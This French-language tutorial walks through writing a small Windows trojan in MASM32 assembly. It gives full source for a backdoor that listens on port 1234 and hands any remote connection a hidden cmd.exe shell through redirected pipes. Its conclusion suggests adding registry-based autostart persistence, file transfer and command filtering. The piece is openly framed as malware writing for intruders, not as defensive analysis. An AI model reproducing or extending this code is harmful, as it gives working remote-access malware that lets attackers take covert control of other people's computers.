I\ Introduction
Salut tout le monde, aujoud'hui je vous propose de coder quelque chose de pas commun, c'est à dire... (***Roulements de tambours***) un (***Roulements de tambours***) TROJAN ! Merde, vous le saviez ? Ha oui, c'est écrit en gros au dessus...
Voila, tout d'abord une petite définition d'un trojan car il y a parfois méprise :
Voila pour la théorie.
Examinont maintenant le problème plus concrètement. On va faire un Trojan qui balance un shell dos quand on se connecte sur son port. On le code en Assembleur pour que le programme soit le plus petit possible. Let's go !!!
II\ La Théorie
Commençons par établir ce que devra faire notre programme :
La partie "socket"
On va procéder comme suit :
On initialise le système de socket (hé oui, on est sous Windows :)
WSAStartupOn remplit une structure sockaddr_in
Création d'un socket
socketOn le lie
bindOn le met en écoute
listenOn attend une connexion
acceptVoila, la partie socket est pas compliquée du tout, on verra tout ça dans la partie 3La partie "shell"
Là, c'est moins évident. Je résume le problème, on doit faire en sorte que le Trojan balance un shell sur un port donné. (On va prendre 1234 pour l'exemple au fait).
Il faut donc qu'on lance un "command.com" pour windows9x et un "cmd.exe" pour Windows NT
Ca, c'est simple grâce à l'API "CreateProcess", qui va nous permettre d'executer le programme.
Oui, d'accord mais comment faire pour que ce que "cmd.exe" écrit dans la console arrive jusqu'à notre ordinateur distant ? De même, on va devoir envoyer des données reçues du socket vers "cmd.exe" ?
Pour pouvoir faire tout ça, on va utiliser les pipes (prononcer païpe, s'il vous plait, un peu de tenue)
"pipe" késako ? Et bien c'est très simple, je vais expliquer tout ça :
Un programme a trois flux d'entrée/sortie, à savoir STDIN en entrée (ou le programme recoit ses données), STDOUT (ou le programme envoie des données) et STDERR (ou le programme envoie les messages d'erreurs). Quand on lance "cmd.exe", son flux STDIN correspond à notre clavier, STDOUT et STDERR à l'écran de l'odinateur local. Fort bien. Et bien grâce aux pipes on va pouvoir choisir, ou le programme enverra ses données, ses erreurs, et ou il recevra ses données. En fait on va rediriger les 3 flux du programme vers le notre, ce qui nous permettra de lui envoyer ce qu'on veut, et de recevoir les données qu'il devrait normalement imprimer à l'écran. On créé un pipe avec la fonction "CreatePipe" (tiens donc ;).
Un pipe, c'est un tunnel ou passent les donnée en gros ;)
Je vous fait un dessin :
read_1, read_2, write_1, et write_2, sont des variables du type HANDLE, que l'on reçoit de la fonction "CreatePipe", les pointillés représentent le tunnel magique de obscurer le magicien
Le principe est le suivant : lorsqu'on écrit des données dans write_1, elles ressortent par read_1
De même, quand quelque chose est écrit dans le handle write_2, les données dont lisibles par le handle read_2.
L'interet est le suivant : On va lancer "cmd.exe" avec :
comme flux STDOUT et STDERR le même handle write_1
comme flux STDIN le Handle read_2on pourra donc lire ce que "cmd.exe" envoi en lisant le handle read_1, et on pourra envoyer ce qu'on veut à "cmd.exe" en envoyant les données dans write_2. C'est tout simple à coder.
On va donc :
-Créer 2 pipes
-Lancer "cmd.exe" avec les flux I/O modifiés
-Rediriger les données de read_1 vers la connexion pour que l'utilisateur connecté voit ce qu'il fait
-Rediriger les données que l'utilisateur envoi vers write_2 pour que ce qu'écrive l'utilisateur puisse être executé
Maintenant, on inspire un grand coup, et on souffle rapidement.
mfffffffff.........pfffffffiiiiou.
C'est parti pour la dernière ligne droite, even if there's no finish line...
III\ La Pratique
Pour suivre la pratique, vous aurez besoin de :
o Un compilateur Assembleur 32-bits (Masm32, ou Tasm32)Je vous le dit tout de suite j'ai codé ça sous Windows NT 4 avec Masm32 donc vous me mailer si un truc marche pas (je suis naïf, je crois que qqun en a qqchose à foutre de mes articles :)
o Heu... Je crois que c'est tout
Si vous n'avez aucune notion d'assembleur, aller lire quelque tuts ou articles.
Pour avoir quelque notions d'assembleurs 32-bits lisez IGA-10, il y a un article sur ça si je me souviens bien... Vous pigerez les bases.C'est parti, je balance le code, et je commente
------------------------------------------------------------------ CUT HERE ---------------------------------------------------------------------
.386
.model flat, stdcall
include \masm32\include\windows.inc ; Contient toute les significations des Flags
includelib \masm32\lib\kernel32.lib ; Pour quasiment toutes les APIS dont on a besoin
include \masm32\include\kernel32.inc
includelib \masm32\lib\Wsock32.lib ; Les fonctions pour les sockets
include \masm32\include\wsock32.inc
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD ; Notre fonction principale
.data
hInstance dd 0 ; pour la forme :)
cmd db "\winnt\system32\cmd.exe",0 ; je vous fait pas de dessin
.code
start:
invoke GetModuleHandle, NULL ; On démarre le prog
mov hInstance, eax
invoke WinMain,hInstance,NULL,NULL,NULL ; la fonction ! la fonction !
invoke ExitProcess,NULL
WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
LOCAL sin :sockaddr_in ;Structure sockaddr_in pour le socket
LOCAL wsaData :WSADATA ;Structure pour WSA*
LOCAL sock :UINT ;Le socket d'attente
LOCAL socka :UINT ;Le socket accepté (client)
LOCAL output :DWORD ;buffer pour envoyer
LOCAL input :DWORD ;buffer pour recevoir
LOCAL info :PROCESS_INFORMATION ;sortie de "CreateProcess"
LOCAL starti :STARTUPINFO ;Paramètres pour "CreateProcess"
LOCAL secu :SECURITY_ATTRIBUTES ;idem
LOCAL read_1 :HANDLE ;Handles pour les pipes
LOCAL write_1 :HANDLE
LOCAL read_2 :HANDLE
LOCAL write_2 :HANDLE
LOCAL byte_read :DWORD ;Pour WriteFile et ReadFile
LOCAL byte_toread :DWORD ;Pour PeekNamedPipe
; Alloue un peu de mémoire pour les buffers (pas trop quand même :)
invoke GlobalAlloc,GPTR,32000
mov output,eax ; on met l'adresse de la mémoire allouées dans output
.if eax == NULL ; vérifie si on a bien de la méoire pour pas faire n'importe quoi
ret
.endif
invoke GlobalAlloc,GPTR,32000
mov input,eax
.if eax == NULL
ret
.endif
; Initialize le systeme de socket version 2.2 (sacré windows)
xor ebx,ebx
mov bx,2 ; On met 2 dans bl
shl bx,8 ; on bouge le 2
or bx, 2 ; on met l'autre 2
invoke WSAStartup,ebx,ADDR wsaData ; GO
; On vérifie si il y a eu un problème quelconque
.if eax != NULL
ret ; Si oui on ret (Non, pas de message d'erreur =)
.endif
; On remplit gaiment la structure sockaddr_in
mov sin.sin_family,AF_INET ; famille du socket
mov sin.sin_addr,NULL ; on ne connait pas l'adresse du client
mov sin.sin_port,0D204h ; in network byte order = port 1234
; NETWORK BYTE ORDER
; 1234 en decimal
; 04D2 en hex
; D204 en network byte oder (inversez les deux bytes tout simplement)
; (N.B: oubliez pas qu'il faut mettre un 0 devant un chiffre en Hexa qui commence avc une ;lettre)
; On créé un socket
invoke socket,AF_INET,SOCK_STREAM,NULL
mov sock,eax ; on sauve le handle pour le socket
; Petite vérification
.if eax == INVALID_SOCKET
ret
.endif
; bind le socket
invoke bind,sock,ADDR sin,SIZEOF sockaddr_in
.if eax == SOCKET_ERROR
ret
.endif
; le met en écoute
invoke listen,sock,1
.if eax == SOCKET_ERROR
ret
.endif
; Attend une connexion indéfiniment
invoke accept,sock,NULL,NULL
.if eax == INVALID_SOCKET
ret
.endif
mov socka,eax ; on sauve le handle du socket qui est accepté
; Ok, qqun s'est connecté !
invoke RtlZeroMemory,ADDR secu,SIZEOF SECURITY_ATTRIBUTES ; met à zéro la structure
mov secu.niLength,SIZEOF SECURITY_ATTRIBUTES ; on met la taille de la structure
mov secu.bInheritHandle,TRUE ; handles héritables
invoke CreatePipe,ADDR read_1,ADDR write_1,ADDR secu,32000 ; création des pipes
.if eax == NULL
jmp die
.endif
invoke CreatePipe,ADDR read_2,ADDR write_2,ADDR secu,32000
.if eax == NULL
jmp die
.endif
; read_1 correspond à write_1
; read_2 correspond à write_2
; je vais bien, tout va bien :)
invoke RtlZeroMemory,ADDR starti,SIZEOF STARTUPINFO ; on vide starti (simple précaution)
invoke GetStartupInfo,ADDR starti ; on choppe les paramètres
mov starti.cb,SIZEOF STARTUPINFO ; taille de la structure
mov eax,write_1 ; on met hStdError et hStdOutput sur write_1
mov starti.hStdError,eax ; pour le process créé après, STDERR=STDOUT=write_1
mov starti.hStdOutput,eax ; qui correspond à read_1
mov eax,read_2 ; idem pour read_2
mov starti.hStdInput,eax ; STDIN de "cmd" correspondra à read_2
mov starti.dwFlags,STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW ;On prend en compte les
;changements des fluxs standard
mov starti.wShowWindow,SW_HIDE ; Tant qu'à faire, on cache la fenêtre de "cmd" ;))
invoke CreateProcess, ; CreateProcess (enfin)
ADDR cmd, ; adresse de "cmd.exe"
NULL, ; pas de params pour cmd
ADDR secu, ; security attributes
ADDR secu,
TRUE, ; Handle inheritable
NULL,
NULL,
NULL,
ADDR starti, ; STARTUPINFO (fenêtre et STD*)
ADDR info ; Structure de sortie (handle du process, mais on s'en tappe)
.if eax == NULL ; on vérifie si la fenêtre est créée
jmp die ; sinon crêve
.endif
invoke CloseHandle,read_2 ; on peut fermer 2 handles désormais inutiles
invoke CloseHandle,write_1
up:
;PeekNamedPipe sert à determiner si il y a quelque chose à lire sur un pipe
invoke PeekNamedPipe,read_1,NULL,NULL,NULL,ADDR byte_toread,NULL
.if byte_toread == NULL ; rien à lire sur read_1, cmd ne dit rien, on va donc voir
jmp get_text ; si l'utilisateur distant a tapé qqchose
.endif
invoke RtlZeroMemory,ADDR output,SIZEOF output ; on sait jamais
invoke ReadFile,read_1,ADDR output,SIZEOF output,ADDR byte_read,NULL ; on lit ce que cmd dit
invoke send,socka,ADDR output,byte_read,NULL ; on l'envoi sur la connexion
jmp up
get_text:
invoke RtlZeroMemory,ADDR input,SIZEOF input ; par précaution
invoke recv,socka,ADDR input,SIZEOF input,NULL ; on recoit les données de l'intru
mov ebx,eax ; eax contient le nombre d'octets lus, on sauve ça dans ebx
invoke WriteFile,write_2,ADDR input,ebx,ADDR byte_read,NULL ; On envoi la chaine à cmd
jmp up
die: ; On ferme les sockets et on ret
invoke closesocket,sock
invoke closesocket,socka
ret
WinMain endp
end start
------------------------------------------------- CUT HERE -----------------------------------------------------
Voila pour le code !IV\ Conclusion
Ouf, voila :)
Bien sur, ce programme est pas le must en matière de Trojan.
Il resterai à faire une routine avec GetSystemDirectory ou un truc du genre pour déterminer si on est sous NT ou win 9x (cmd.exe ou command.com ?) De même pour faire un bon trojan on doit pouvoir downloader, uploader des fichiers, mais on peut toujours les copiers de l'interieur sur un repertoire accessible en FTP anonyme par exemple, enfin c'est pas le mieux.
Il faudrait ne pas fermer le programme après une seule connexion. Avec les fonctions RegOpenKey etc... on pourrais faire en sorte que le programme se lance automatiquement au démarrage en ajoutant une clé dans Démarrage, ou un truc comme ça.
On peut aussi filtrer ce que l'utilisateur distant tappe, afin de determiner des commandes, pour créé des clés dans la base de registre, ou pour uploader des fichiers, ou même pour envoyer des MessageBox à l'utilisateur local :) J'imagine que vous avez assez d'imagination alors.........